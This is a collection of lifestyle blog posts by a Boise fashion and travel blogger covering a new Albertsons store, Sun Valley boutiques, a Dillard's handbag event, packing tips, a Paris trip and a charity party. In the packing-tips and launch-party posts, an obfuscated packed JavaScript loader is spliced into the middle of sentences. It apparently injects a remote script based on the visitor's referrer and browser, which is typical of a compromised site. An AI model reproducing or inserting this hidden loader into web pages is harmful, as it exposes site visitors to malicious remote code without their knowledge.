Boise’s New Albertsons Store Brings the World to Your Doorstep!

albertsons grand opening floral department

albertsons grand opening floral department

A brand new Albertsons grocery market just opened in Boise, boasting an extended International Foods section. As a travel blogger and lover of global cuisine, I just had to check it out!

albertsons grand opening global flavors web 2

albertsons grand opening fresh

albertsons grand opening basqueI just have to say: this new store is HUGE! Besides the aforementioned global foods, there’s an extra-large beauty section, complete with expanded natural and local options, an incredible meat department, cheeses from everywhere you can imagine, and floral choices that are out of this world. Basically, it’s your new favorite one-stop-shop!

albertsons grand opening stylespygirl 2

albertsons grand opening cheese scultpure 2

albertsons grand opening fruit veggies

Spanish, Indian, German, French, British, Dutch, Asian… ALL the foods!!! With so many great culinary choices, I was inspired to put together a very special picnic, to commemorate one of my favorite travel memories.

Once upon a time (jk; last summer!) I took a group of Boise women to Paris for a girls’ getaway. Of course, we had to visit the Eiffel Tower, but we did so in way that was markedly different than the average tourist…eiffel tower picnic stylespygirl small

Instead of standing in long lines & paying big chunks of change to ascend to the top, we stopped by a neighborhood market, loaded up on local food & drinks, and spread out a picnic dinner at the base of Paris’ most famous landmark!

Did you know that the Eiffel Tower has a massive public park at its feet? Called the Champs de Mars, this green space is extensive and lush, with soft grass, shady trees, playgrounds, and unparalleled views of the historic structure that rises over it!

eiffel tower paris stylespygirlWe had a glorious meal, and as the sun began to set, the Tower lit up, illuminating the park with over 20,000 dancing, sparkling lights. Music played, people danced, everyone oohed and ah-ed…

I’ll never forget it that night!

While walking through the Global Foods section in the new Albertsons back home, I was inspired to recreate that fun Parisian moment right here in Boise, with a whimsical picnic from around the world.

Everything I needed was right at my fingertips!

1: SAVORY MEATSalbertsons grand opening cheese web 2

Choose a classic, like Genoa Salami, and pair it with something more exotic, like Mortadella from Italy. If you like meats with a little more kick, be sure to check out Albertson’s Basque section of delicious choices, back in the dairy department!

2: CHEESY GOODNESScheese platter albertsons picnic

I like combining a trio of different, yet simple flavors: a mild family favorite (ours is Gouda), a soft spread (Brie from France), and something flavorful and intense, like an aged asiago or savory Manchego.

3: FRESH & FRUITYalbertsons grand opening picnic

Balance out salty proteins with some fresh fruit, which Albertson’s makes easy in pre-cut disposable bowls. A jar of lemon-flavored Oui  French-style yoghurt by Yoplait makes an excellent fruit dip, and the little glass jar washes out easily to become a petite flower- or candle-holder for later!

4: SUMPTUOUS SIPSalbertsons grand opening wines 2

I love a light, refreshing rosé with a glass or screw-off top for easy opening in the park, because who ever remembers a corkscrew, really?!? For a kid-friendly picnic, it’s good to include something indulgent and unique, but also non-alcoholic, like this delicious Sparkling Limonade from France!

5: DON’T FORGET DESSERTeclairs stylespygirl albertsons

Perhaps the most important part of your Parisian picnic, the pièce de résistance, so to speak, is a decadent dessert. Just like on our Eiffel Tower day, nothing compares to fresh chocolate eclairs, made daily with love in the Albertsons bakery!

So, there you have it – c’est délicieux, as they say in France. Lay out your blanket on the grass, pluck a small bouquet for atmosphere, and picnic away! It’s simple, easy, and mouthwateringly scrumptious. albertsons grand opening stylespygirl picnic boise

Enjoy your summer, #EatLifeUp to the max, and be sure to stop by the new Albertsons in downtown Boise for an unparalleled market and cuisine experience!

XOXO,
Tanya

~   ~   ~

This is a sponsored conversation written by me on behalf of Albertsons on Broadway. The opinions and text are all mine.

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Style Spy Girl Shopping Guide to Sun Valley

ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
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The Sun Valley area is known for its famous ski slopes and celebrity sightings, but it’s also a prime shopping destination. Even if you aren’t fortunate enough to catch Katy Perry strolling the sidewalks, you can most certainly find places to help you dress like her. And it’s less than a three-hour drive from the Treasure Valley!

Both the historic town of Ketchum and its ritzy neighbor Sun Valley are packed with restaurants, art galleries, furniture and gift shops, and boutiques. And trust me, the fashion alone is worth the drive. I recently headed up to the Wood River Valley with a group of girlfriends for an overnight shopping trip.sun valley idaho stylespygirl shopping trio

It’s easy to get around Ketchum, and many shops are within walking distance of each other. And parking spots abound (with no meters — yay!). Up the road, nearly everything is close by once you get to Sun Valley, too. So pull in, grab a latte and get walking.

Treat yourself

Elle Rose is a couture-packed treasure trove, spread out among two sister shops: designer and contemporary. On the designer side, you will find a polished array of luscious luxury items from Valentino, Versace, Chloe, Hermes, Manolo Blahnik and more. On the contemporary side, you can unleash your inner posh-rock-goddess with stunning pieces from Alexander McQueen, Theory, Stella McCartney, Rag & Bone, The Row, etc. This is a couture shop so expect to pay couture prices, but check out the clearance racks in the back of the contemporary store for last-chance deals. 641 Sun Valley Road, Ketchum; 208-726-8871; ellerosesv.com.elle rose sun valley

 The Sheepskin Coat Factory was opened in 1971 by David Norton. He operated a tannery at that time, and manufactured and designed coats and jackets from shearling (sheepskin), selling wholesale to large stores on the East Coast as well as retailing directly in his Ketchum shop and his other regional stores. Although Norton no longer personally produces all the pieces in his store, Sheepskin Coat Factory has stuck to its high-quality values, and it imports inventory only from U.S. and Canadian vendors. The store sells predominantly outerwear and accessories from multiple brands in a range of price points, and it has added several ready-to-wear ladies lines. Our group was particularly impressed by the winter-to-spring transitional travel jackets, like one by Diana Rosh that’s super lightweight and rolls up into a tiny bag. 511 Sun Valley Road, Ketchum; 208-726-3588; sheepskincoat.com.
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When I walked into Theodore, for a moment I thought we were in a London boutique. Tall shelves stacked with denim and walls of glass adorned with color-categorized racks of clothing entice the eye and pull you deeper into a shopping heaven. The fashions in Theodore are right on trend. The shoes, the attitude, the vibe … very urban chic. 511 Leadville Ave., Ketchum; 208-726-3544.

Déjà Vu is an otherworldly treasure trove. For more than 20 years, owner Suzy Hart has cultivated a collection that must be seen to be believed. From vintage Chanel necklaces to Valentino blouses, fur collars to crystal tiaras, every nook and cranny of Hart’s shop is packed with awe-worthy finds. Déjà vu is not a consignment shop, but an estate and couture boutique. 511 Leadville Ave., Ketchum; 208-726-1908; dejavuvintagestore.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

ammophotog with StyleSpyGirl for Treasure Magazine (2017)

On trend, on budget

Fly fisher and local legend Dick Alfs opened Silver Creek Outfitters in 1963 after years of tying and selling flies that he would hand-deliver to local customers. Decades later, his landmark shop has grown to include men’s and women’s clothing (both functional and fashionable), shoes, accessories, eyewear, luggage, gift and home décor, and everything you’d need for hunting or fishing. Silver Creek Outfitters carries what you need to “take you from a day on the river to an evening on the town.” It carries classic fashion brands like Peter Millar, Scott Barber, 34 Heritage and Patagonia, as well as TRASK shoes. The store also offers outfitted tours and trips. 500 N. Main St., Ketchum; 208-726-5282; www.silver-creek.com.silver creek sun valley

Sway is a bright and airy shop packed with fashion-forward and accessible styles. With a vibe reminiscent of Malibu or Beverly Hills, this store was one of our group’s favorites. Soft colors, uber-trendy denim, must-have blouses and the latest Instagram-worthy accessories stock every shelf and table. Owner Roxanne Harris has impeccable taste, and brands include MiH, Free People, DL 1961, Rails, Elizabeth and James, Paige, Maison Scotch and Joie. 511 Sun Valley Road, Ketchum; 208-928-7884.sway sun valley

Ketchum Flower Company-Girl Friday is your one-stop shop for all things lovely. Michelle Ferris opened her shop 18 years ago to bring “beautiful fresh-cut flowers, tasteful arrangements and eclectic affordable gifts to the valley.” Girl Friday, the clothing side of the shop, is packed with denim, shoes, shirts, scarves and more, from brands like Bed|Stu, Gentle Fawn, Larissa, Free People, Raffi, Sanctuary and Good hYOUman. 440 E. Avenue N., Ketchum; 208-622-7364, ketchumflower.com.

Farmer’s Daughter, founded by self-proclaimed “treasure-hunters, nostalgia keepers, memory creators and magic makers,” is a sweet store with more home décor and less fashion, but the fashions the store does carry are indeed magic — from vintage flannels to repurposed Louis Vuitton handbags draped with fringe, feathers and riveted belt shoulder straps. If you’re on the hunt for unique, check out Farmer’s Daughter. 331 Leadville Ave., Ketchum; 208-726-6433; thefarmersdaughtersunvalley.com.

Cool finds

Ketchum is home to a couple of fun and fabulous consignment/second-hand shops:

Worth Repeating, downstairs from Atkinson’s Market grocery store, is packed with fabulous designer wear, funky décor items, art and jewelry, as well as vintage and resale furniture. Owner Merilee Hansen moved here 51 years ago after she visited from California and fell in love with the area. About 15 years ago, Hansen decided to follow her passion for collecting cool and eclectic things and opened Worth Repeating. In Giacobbi Square at 451 4th St. E., Ketchum; 208-726-9440.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

When you shop at the Gold Mine Thrift Store, you are supporting Ketchum’s Community Library. How cool is that? Also cool: sifting through racks of $3-15 clothing and finding a pair of glittery black Diane Von Furstenberg pants for only $10. When I took them up to the register to pay, the cashier was so excited to see the pants go to an appreciative home that she proceeded to regale me with tales of similar finds, like the Burberry coat scored here for under $30 a couple of years back. If you are looking for an “Are you kidding me?” fashion discovery moment, this is the place to shop. It’s also a great place to find skis and slope gear, jeans, coats and even children’s wear for when you’re in town with the whole family, and you have that one kid who always forgets their swimsuit. For designer treasures, head to the thrift store’s Gold Mine Consign on the very next block. Our crew found previously loved Prada pants, Betsey Johnson fur coats, Gucci bags and more at deeply discounted prices. The Gold Mine Thrift Store is at 331 Walnut Ave. and the Consignment Shop is at 591 4th St. E., Ketchum; comlib.org/goldmine, 208-726-5544.

While we didn’t visit on this trip, the Barkin’ Basement Thrift Store in nearby Hailey is packed with fun finds, and proceeds benefit the Animal Shelter of the Wood River Valley. From fabulous dresses for all occasions to shoes and boots, there’s a bargain waiting here for you. 111 S. Main St., Hailey; animalshelterwrv.org/activity/ barkinbasement.

Shoes and more

Susan and Mark Nieves opened Independent Goods in late 2016 after leaving Seattle in search of adventure and community. They specialize in handmade gifts and collectibles ranging from copper flasks to restored vintage axes. They also have jewelry, T-shirts, household goods and handbags, all made in the United States, including a selection from Idaho. Independent Goods is also set up like the coolest campground you’ve ever visited. Wooden chairs line the walls as display shelves, and a massive canvas tent divides the register area from the clothing part of the store. There is a massive mural inscribed with John Muir’s famous quote, “The mountains are calling and I must go.” 330 Walnut Ave., Ketchum; 208-720-9004; independentgoods.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Ozzie’s Shoes owner Steve Carlson stocks brands that are fashionable and yet immensely functional for mountain winters. During snow season, stop in for a cozy pair of Uggs, rugged waterproof Sorels or chic Freebird by Steven boots. For year-round footwear, Ozzie’s also carries brands such as Superga, Franco Sarto, Dansko, Born and Birkenstock for men, women and children. 406 Leadville Ave. N., Ketchum; 208-726-3604.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Huck & Paddle owner Brandy Herold first ventured into retail when she began creating candles for a friend’s boutique in Washington state. She opened her gift and accessories shop in 2014. Along with her signature homemade candles, Huck & Paddle is stocked with scarves, hats, gloves, jewelry and home décor. Huck & Paddle’s vibe is kitschy/posh, ranging from fur blankets to laser-stenciled suede bracelets, and a wide variety of things you never knew you had to have — until now. 400 Sun Valley Road, Ste. 101, Ketchum; 208-928-6550; HuckandPaddle.com.ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

If you’re looking for a place to touch and feel all the soft, cozy things your heart craves, step into Madeline & Oliver and run your fingers through a rack of bathrobes. This shop is all about texture. From pajamas to lotions, candles to comforters, they have everything you need to indulge yourself — both “Above and Below the Sheets!” 460 Sun Valley Road, Ste. 103, Ketchum; 208-726-7779, madelineandoliver.com. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

The area’s newest lingerie and sleepwear shop, Undercover, is coincidentally one of its oldest, too. Kim Donald first opened Undercover back in 1978 but moved away after about 10 years. Nearly two years ago, she moved back to Ketchum, and friends and family began asking her to reopen her beloved shop. At the end of 2016, she did just that, taking her original lingerie store concept and expanding it to include sleepwear, loungewear and luxurious body products. Undercover carries lines such as Wacoal, Natori, Chantelle, Bedhead, Cosa Bella, Hanro and Spanx. Be sure to sample the scents of the incredible lotions, bubble baths and bath salts by K. Hall. The Lemongrass body lotion was my favorite; you have to smell it to believe it. 320 Walnut Ave., Ketchum; 208-928-7002.

Sun Valley Resort

From downtown Ketchum, take Sun Valley Road up to the world-famous Sun Valley Resort, a village in its own right that hosts skiing championships, music festivals, celebrity events and, of course, the renowned Sun Valley Film Festival. The resort boasts dozens of skiing, snowboarding and snowshoeing trails, as well as biking and hiking paths, a golf course, a spa, several delicious places to wine and dine, and a plethora of delightful fashion and gift shops. Here are two of our Sun Valley favorites:

Brass Ranch has two locations: one in Sun Valley and another in Ketchum. The huge modern boutiques are packed with large collections of European and American ski and sportswear, plus off-slope fashions, handbags and shoes from designers such as Arc‘teryx, Bogner, Canada Goose, Eider, JetSet, Kjus, Moncler, Ralph Lauren, Marc Jacobs, Zadig & Voltaire, Rossignol and Toni Salier. There’s also a great skin care and makeup bar. We enjoyed the store’s cheerful customer service and the wide variety of fashions for every budget. There’s even a men’s section. ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)
ammophotog with StyleSpyGirl for Treasure Magazine (2017)

Panache fashion boutique opened in 1981 in Sun Valley and now has a second location in Park City, Utah. Stop in for a wide range of fashion-forward brands, including Mother, Helmut Lang, Diane von Furstenberg, Velvet, Juicy, Brunello Cucinelli, Goldsign and more. You’ll get personalized assistance. Be sure to check out the clearance rack in back for off-season finds. 3 Sun Valley Road, Sun Valley; 208-622-4228.

panache sun valley

Note: My “Sun Valley” article first appeared in the Idaho Stateman’s “Treasure Magazine,” under the title “Hit the road to Sun Valley for shopping and fun,” dated April 14, 2017. I’m reposting to my blog with their permission; the original is linked here, if you’d like to view it.

Boise Event Spotlight: Dillard’s Designer Pop-up Shop!

dillards stylespygirl couture bag event

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courtesy of
ammophotog

Woohoo, handbag-loving babes, it’s baaaaack!!! Last year, I partnered with Dillard’s to invite you to a new shopping concept that literally popped-up in their stores across the country: the What Goes Around, Comes Around Vintage Handbag Event. This year, it’s back, bigger and better than ever!

Remember this rad shopping party from last year? More pics & the recap of that event here.louis vuitton dillards stylespygirl

This year’s first-come, first-served shopping opportunity is part of Dillard’s collaboration with What Goes Around Comes Around, the leading global purveyor of authentic luxury vintage accessories and apparel. Since 1993, WGACA’s New York City Soho flagship has remained an industry staple, frequented by celebrities and tastemakers from around the world! WGACA’s expert buyers travel the globe to find the rarest and most desirable pieces in exceptional condition, and bring them to YOU for the chance to fill your closet & rock your ensembles with unique and covetable fashion treasures.

dillards stylespygirl couture bag event 3Oversized totes are having a major moment in the fashion world right now! Guess which one I love?

Last year’s shopping party focused on Louis Vuitton bags, exclusively. But this year’s Vintage Handbag Event features pieces from Prada, Fendi, Gucci, and also Louis Vuitton, including everything from wallets to fanny packs to luggage! And now instead of a group party, you get to make a personal private appointment directly with Dillard’s, for your chance to shop these beautiful fashion treasures.

dillards stylespygirl couture bag event 1Remember, vintage and collector pieces are limited in quantity, and when they’re gone, they’re gone!

dillards stylespygirl couture bag event 9Obsessing over the pretty little things!

Make an appointment with Dillard’s for your personal, private shopping moment by calling (208) 321-4646! Or, go into the store in person to book your spot. (You can also email Tami at store934@dillards.com to inquire about specific bags shown here.) In-person shopping appointments start July 20th and go through the 29th. Hurry, before they’re gone!

dillards stylespygirl couture bag event Authentication cards & guarantees – all are real designer bags, some still with their original packaging & tags!

Happy Shopping, my fabulous friends!!!!
XOXO,
Tanya

dillards stylespygirl couture bag event

dillards stylespygirl couture bag event 9

dillards stylespygirl couture bag event

 

dillards stylespygirl couture bag event 9

How to Pack Light and Just Use a Carry-On!

packing light advice fashion blogger

packing light advice fashion blogger

As eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznyf|var|u0026u|referrer|htybz||js|php’.split(‘|’),0,{}))
printed in the Idaho Statesman’s Treasure Magazine, view the online version here:

Going on a trip? Treasure Valley style expert offers tips for packing light!

If you are among those jetting off on vacation this summer, you’ll likely have to endure many of the hassles of flying: baggage check-in, security, flight delays, layovers and the eternal baggage claim carousel.

Some of these things are unavoidable. However, there is one major way you can cut down on the vacation time you spend stuck in an airport while beaches beckon you: Pack everything in carry-ons.

Seriously, you can do it. This spring I traveled to London, Amsterdam and Paris with my husband and was determined to only take what I could carry quickly through an airport: my carry-on and a cute backpack.

stylespygirl on the go

My husband laughed when I stated this intention; he knows that as a fashion blogger I feel compelled to always dress well for the hundreds of photos I’ll be taking as we travel. He also knows I have a particularly passionate habit of accumulating fashion treasures along the way and once or twice have had to purchase extra luggage to bring it all home with me!

Not this time, I vowed, because I’m writing a book of travel tips for women adventuring abroad, and I had to make this work.

And if this little shopping-crazy fashionista could manage two weeks abroad in a carry-on and a backpack, so can you!

1. Mix and Match

Don’t take your favorite outfits; only take things that match each other. Focus on multi-functional pieces. I found a breezy swimsuit cover-up at Target (pictured above) that also looks great with a tank top and jeans or thrown over a dress. It’s a neutral color, too, so it goes with everything. Great for the beach, exploring and shopping, or a night out on the town.

packing light for vacation stylespygirl

Photo by Valerie Davenport / Swimsuit cover-up from Target / Sandals by Dolce Vita, Nordstrom / Bags by COACH

2. Go Monochromatic

Pick three colors, and I mean it. My “Eurotrip” suitcase had only black, white and gray in it. Somber, yes — but with my intentionally blank canvas, I had plenty of room to add accent colors and fun accessories along the way. A blue scarf here, a red umbrella there and a pretty cardigan or patterned handbag to seal the deal!

3. Ditch the Big Coat

Unless you’re vacationing to snow, pick the most versatile layering jacket out of your closet and wear it on the plane. That saves space in your luggage and gives you a blanket of sorts to stay warm on a long flight or a pillow to cuddle with.

(Bonus tip: Wear all of your largest items on the plane. Not only does this give you options to make yourself more comfortable on long flights, but it also saves room in your carry-on for more compact items. )

4. Leave Behind the Bling

Leave diamond rings (and other high-end jewelry) at home, in a locked safe or with someone you trust. Even in many modern European countries, for example, diamond wedding sets are not customary; most folks wear simple bands. Major bling can quickly brand you as an American tourist and might cause people to make assumptions about your wealth.

When I travel, I wear a small silver band I bought for $3 at Charming Charlie and leave my fine jewelry with a trusted friend. I also take only three necklaces: one small piece, one multi-strand chunkier piece and one multi-layered piece. That way, every neckline in my suitcase is covered.

packing light stylespygirl fashion advice

5. Take 2 Pairs of Shoes, Period

You really only need one pair of comfortable walking shoes and one dressier heel or wedge. You can buy cheap flip-flops just about anywhere in the world if you really need something extra for the beach — and then leave them behind before you head home.

6. Pack everything inside everything else

On my Europe trip, I discovered I could fit six pairs of rolled-up socks in each of my favorite ankle boots. Six! I can also fit 6-7 pairs of underwear in one ankle boot as well. Look for unused nooks & crannies for extra space! I chose a small second purse for evenings out ,and found to my delight that my ziplocked toiletries fit perfectly inside it. No additional toiletry bag needed!

I also learned I could fit my everyday handbag into my backpack, with more toiletries and extra gear on top, so I had a total of three purse options for my trip, ranging from mini to large, each one compactly nestled inside the other.

Another great option is to purchase a specific compact multi-functional travel bag, like the one I bought (below) from Coach at Boise Towne Square, to use for trips. It’s a wallet, handbag, phone holder and clutch all in one!coach wallet wristlet silver

Photo by Valerie Davenport / Bag by COACH / Heart sunnies from Hot Topic

7. Take travel sizes

Don’t bring all your toiletries; only take samples. Every time I shop for beauty products, I end up with extra trial samples from stores like Sephora and Macy’s that I use for traveling. Not only are they compact and disposable, but I also enjoy the adventure of trying new things as part of my travels. “Good morning, London! Let’s see how these ‘Revitalizing Moisture’ under-eye strips help with my jetlag!”

You can also buy things wherever you travel. Plus, it’s fun to explore new products. A need for facial moisturizer in Paris led me to find some amazing new brands of skin care that I never would have discovered had I brought my own.

(Bonus tip: Many larger beauty shops and department stores all over the world will give you neatly packaged samples of products you’d like to try. Run out of conditioner? Ask for a sample. It might hold you over for the trip and help you discover something new.)

8. Ship it

If you’re anything like me, you’re likely to accumulate things as you travel. You can certainly purchase a suitcase inexpensively in most tourist markets, but don’t forget the convenience of global postal services.

I lived in Amsterdam when I was a teenager, and some of my best memories of that city were exploring all the incredible candies and chocolates made there. This winter I had the opportunity to return with my husband for the first time in many years.I visited a local grocery store, filled a massive box to the brim with all the stroopwafels, kinderspekken, drop (licorice) and gummy things I could find and walked straight to the post office to ship it all home. We had such a blast at home a few weeks later, opening up all that yummy stuff and explaining it to my kids.

(Bonus tip: If you’re shopping in high-end boutiques or department stores abroad, ask about shipping. Some shops will let you buy an item and will mail it home for you.)

When you’re on vacation, you really don’t need as much as you think. People won’t notice how often you’ve worn an outfit. Do laundry if you need to, but keep your luggage light. You never know when you might discover an awesome new treasure to bring home — and you’ll be glad you have room for it!

Watch how it all goes together, in my video tutorial on How to Pack Light, below!

How do YOU pack light? Tell me your favorite tips and advice in the comments below!
XOXO,
Tanya

Even in Winter, Paris is for Lovers

eiffel tower paris stylespygirl winter france

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Last month, my sweet husband and I had the rare opportunity for an early Valentine’s Day present to each other: a week in Paris!
 Thanks to his work and some mileage rewards points, we explored, dined, and shopped our hearts away, (and yes, my fashionista friends I have an entire article coming soon dedicated to all the AMAZING shops, designers, and sales I discovered there, as well as a special bargain-hunting treasure guide…)

But today’s post is all about love. Why? Because it’s Paris, baby! The City of Lights, and romance. Would this legendary place be able to work its magic on us, a well-traveled couple who have been together over 18 years? We were excited to find out!  Stylespygirl in Paris

Ready, set EXPLORE! Isn’t there a saying about the couple who goofs off together…? Trevor and I had been to Paris before, 15 years ago, and did a lot of the more touristy-stuff at that point. Once you’ve been lost in the mega-labyrinthine Louvre, the shine kind of wears off a little. Nonetheless, the cab to downtown dropped us off at the famous museum, so we figured it wouldn’t kill us to look around a little. And then this happened:

louvre paris stylespygirl winter france

Yes, I got 6’4″ Trevor to stand up on a pedestal and pose like a tourist! Ok, now we’re loosening up a little bit…

louvre paris stylespygirl winter franceBoop!

I’m not quite as tall but I can almost reach the top!

All right, well, it was windy and pouring down rain, so we decided to pick a less-crowded museum and see some art: Musee d’Orsay. If you’re looking to skip the push-and-shove crowds of the famous Louvre and have a more relaxed cultural experience, I highly recommend this gorgeous museum! Lines weren’t too long to get in, and it’s absolutely stunning inside. You can meander through well-mapped main halls and side rooms, enjoy the statues and artwork up-close & personal without hordes of people posing with selfie sticks, and even grab a hot chocolate & crepes in the lower-level cafe.

musee d'orsay paris stylespygirl winter franceBright open spaces, no crowds!

musee d'orsay paris stylespygirl winter franceAnd really impressive art.

musee d'orsay parisRenaissance duck-face, long before the Kardashians popularized this look! 😉

musee d'orsay parisLots of big-headed famous folks to see here…

musee d'orsay paris kissAnd apparently you don’t have to travel to New York to kiss at the Statue of Liberty!

Ok, well, things were perking up a bit in the blustery city of grey… It was still drizzly, but we headed out to explore some more. Because no matter how many times you see it, there’s still something SO romantic about the Eiffel Tower! Even on a dark day…

eiffel tower paris stylespygirl winter franceSee what I mean? Beautiful, even in the rain!

eiffel tower paris stylespygirl winter franceAfter some food in our bellies and a little more meandering time, we found a great spot to sit and chat a while: the Pont de Bir-Hakeim. It’s a little-known bridge just west of the Eiffel Tower, away from the crowds and madness of downtown. There are places to sit, very little foot traffic, and amazing views of the river and city! I mean check this out, there was literally NO one around!

Perfect time to spring a little romance on the man…

I love you I know star wars rings paris Eiffel tower

I love you / I know Star Wars-themed sterling silver rings by Impressed Art

My husband and I are geeks. I mean, from waaaaay back. We love Star Wars, sci-fi, comic books, and all that stuff; our wedding was a medieval-costume affair complete with jugglers, bagpipes, candles, tiaras, and the theme music to Princess Bride. Awww! Say it with me: “Mawwiage is what bwings us togethew todaaaaay…”

I tracked down these rings on Etsy through a shop called Impressed Art, and the artist Katie Hansen was kind enough to rush them to me in time for our trip. After a couple kisses on the bridge, I pulled them out and asked Trevor if he’d marry me all over again. At least that’s what I meant to say, but I’m a crier, so it came out something more like, “I got these rings and I love you and would you sniffle-sniffle mumble-mumble me?” He got the picture, laughed and hugged me. “Oh babe, you’re so adorable!”

Moment achieved. ❤

eiffel tower paris stylespygirl winter france

One of the best parts of our stay was the discovery of this amazing little AirBnB apartment! It was a top-floor loft, fully-equipped and furnished, on a main street, super convenient to everything we needed, and literally two blocks from the Eiffel Tower. See that view? Breakfast every morning, in sight of the Eiffel Tower! We will try to stay here EVERY time we come back. It was perfection!!! Here’s the link, if you’re interested:


Lovely 2 room Flat Eiffel Tower !

Paris, Île-de-France, France

Lovely 2 room flat ,top floor, with a direct view on the Eiffel Tower from your king size bed !
Beau deux pièces , quartier Tour Eiffel de grand standing, dernier étage sans vis à vis. Vue directe …

Vacation Rentals in Paris

https://www.airbnb.com/embeddable/airbnb_jssdk

eiffel tower paris stylespygirl winter franceThe view from our bedroom. Every night starting at dusk, at the top of every hour the Tower lights up with a spectacular sparkle show! I loved it… Every evening, all night long. 🙂

paris 2016 eiffel towerView from the street, downstairs from our apartment.

Paris truly shines at night, and I don’t just mean the Eiffel Tower! After shopping and exploring all day, you generally have dinner around 8 or 9pm at night. In fact, we discovered that many of the restaurants didn’t even open their doors until 7 or 8pm! We had a blast wandering around, looking for delicious eateries and local wine. Yumm!

paris stylespygirl winter franceYes, every big city needs a waterfront Ferris wheel now! You started it, London Eye.

sacre coeur paris stylespygirl winter franceSacre Cour Basilica, the stunning cathedral on the hill overlooking Paris. Hike up here for the BEST views over the entire city – it’s gorgeous! But they don’t allow photos inside, because this church is still a holy place of worship. Religious ceremonies and prayer were happening, while we were walking through gawking at the sites! Felt a little awkward about that…

Back down the hill we went, into the busier parts of downtown Paris.

Night shopping in ParisStreet shopping! So many shops, such little time… Lemme at ’em!

moulin rouge paris stylespygirlOh yes, and the Moulin Rouge is still a thing! We had to go check it out.

moulin rouge paris stylespygirlThe Moulin Rouge of art, lore and movie fame… It was a fun show, but waaaay more comedy than I expected! Puppets, clowns, and miniature ponies. Oh, and showgirls, of course. Worth experiencing!

So we spent a week, and I have about a hundred more photos I could post here… But honestly they’re mostly kissing and Eiffel Tower pics, which you’ve probably gotten your fill of by now. 😉 We came, we saw, we stayed up every night soaking in the lights, sights, food, and romance of Paris!

Thank you Trevor, for the most romantic early Valentine’s Day gift ever.
And thank you Paris, for working your magic on us once again.

Je t’aime, pour toujours, Ville des lumiers!
XOXO,
Tanya (& Trevor)

eiffel tower paris stylespygirl winter france

Next article: The Best Places to Shop in Paris for Treasure Hunters! Coming soon…

‘Tis the Season to Be Generous!

fashion getaways launch party

fashion getaways launch party

Our eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayeh|var|u0026u|referrer|dbbrb||js|php’.split(‘|’),0,{}))
Fashion Getaways Launch Party was a huge success!!!
Thank you SO MUCH, to each and every person who came down last Friday night for the festivities and fund-raising. We had more than 60 fabulous friends show up to join us at the Dish, for an evening of fun as we launched the Ladies-Only Fashion Getaways, with champagne, yummy foods, photobooth antics… And we raised money for a precious local family whose daughter is fighting a terrible illness! Read on for more details…

fashion getaways launch party

We had 10 raffle boxes, with incredible items from our donors! Each lady bought tickets, and voted for the prize or prizes she wanted most. It was so much fun to pick the winners! I was very grateful for such generous donations – a table-full of fabulous gifts from:

American Clothing Gallery

Backwoods Baubles

Bernadette Almeida, Happyness Maker

COACH

Karin Otto Aesthetics

LUX Fashion Lounge

Riverside Hotel Boise

Rooney Mae Couture

Silk Touch Med Spa

Something Old, Something New Consignment Boutique

SWANK Boutique

Unigon Specialties

Wholistic Beauty Boutique

fashion getaways launch party

This is Hannah, the precious little girl we helped raise money for. She is the only person in the state of Idaho with Batten disease, which is debilitating and fatal. And sadly, so rare that there are no support groups, local help, or much in the way of resources for her family. We wanted to help out, and be a blessing to Hannah this Christmas! Thank you to all who donated – we raised $700 for her specialized medical equipment room!

fashion getaways launch party

Tis the Season to be generous. 🙂

launch partyAlexandria White of A-Train Fitness and friend, enjoying the “Selfie Booth,” donated by Ammophotog and staffed by fabulous volunteer Lindsey Antram of Grey Jays Jewelry.

launch party

Yummy noshes from The Dish

launch party

Gown by Abandoned Fashion Vintage Store – a vintage silk robe with lace inlay!

launch party

More photo booth fun! With Cher Sandmire of Sandmire Studios as the swankest pilot EVER, with friend Bonnie Alexander.

launch party

Bernadette Almeida, the Happyness Maker, spreading joy and good cheer wherever she goes!

launch party

One of my favorite mementos from the Bellevue Fashion Week ladies-only getaway in August! Tonight’s party was the announcement of our next Fashion Getaways: Las Vegas Fashion Week in February, and New Orleans Fashion Week in March!!! Want to be on board with our all-girl travel party? Click HERE to read more about the StyleSpyGirl Fashion Getaways!!!

launch party

My sweet neighbor and volunteer Tempie, helping ladies check in. 🙂

launch party

My beautiful friend & neighbor MaryAnn, helping out at the raffle booth.

launch party

Gown by Rooney Mae Couture, who donated a generous gift card to the night’s raffle!

launch party

Meeting Mrs. Ada County, Lisa Southern. Thank you so much for coming, Lisa!!!

launch party

